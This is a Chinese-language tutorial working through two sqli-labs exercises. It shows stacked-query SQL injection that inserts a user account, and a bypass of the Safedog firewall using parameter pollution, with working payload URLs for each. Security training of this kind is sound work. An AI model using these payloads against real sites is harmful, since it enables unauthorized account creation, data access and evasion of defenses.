#堆叠查询注入
1.堆叠查询概念
stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行。而在真实运用中也是如此,我们知道在mysql中,主要是命令行中,每一条语句后面加“;”表示为语句的结束。这样我们就能想到是不是可以多句一起执行。而在不同额数据库中,堆叠的知识体系不同。堆叠注入只产生在一小部分数据库中。
在遇到我们知道管理员的账号和密码,密码是加密的,且无法解密;此时我们就可以使用堆叠注入进行插入数据,用户密码自定义的,可以插入一个用户,再用插入的用户进行登录操作。
2.堆叠注入靶场演示
sqlilabs第38关
查看源码:
发现有函数:mysqli_multi_query()
此函数的作用是:执行一个或多个针对数据库的查询,查询语句使用分号隔开。
由此我们可以考虑使用堆叠注入。
构造payload:
http://xx.xx.xx.xx/sql-labs/Less-38/?id=1‘;insert into users(id,username,password)values(21,‘Bob‘,‘2021‘)--+
再查询id=21,发现已经注入成功
#sql注入之waf绕过
1.基本方法
基本方法如下思维导图
2.靶机演示
服务器上开启安全狗,sqlilabs第2关进行演示
and 1=1 ,被拦截
以post形式进行提交,不被拦截,但接收不到值。
查看源码,是GET请,使用post传入数据无法执行。
将其修改为REQUEST方式
构造payload:
http://xx.xx.xx.xx/sqli-labs/Less-2/?id=-1 union select 1,2,database() --+
被拦截:
原因是安全狗有拦截sql的union注入,或查询数据库相关信息等。
我们进行参数污染:
payload:
http://xx.xx.xx.xx/sqli-labs/Less-2/?id=1 /**&id=-1%20union%20select%201,2,3%23*/
?id=1 /**&id=-1%20union%20select%201,2,3%23*/等价于id=-1 union select 1,2,3#
成功绕过: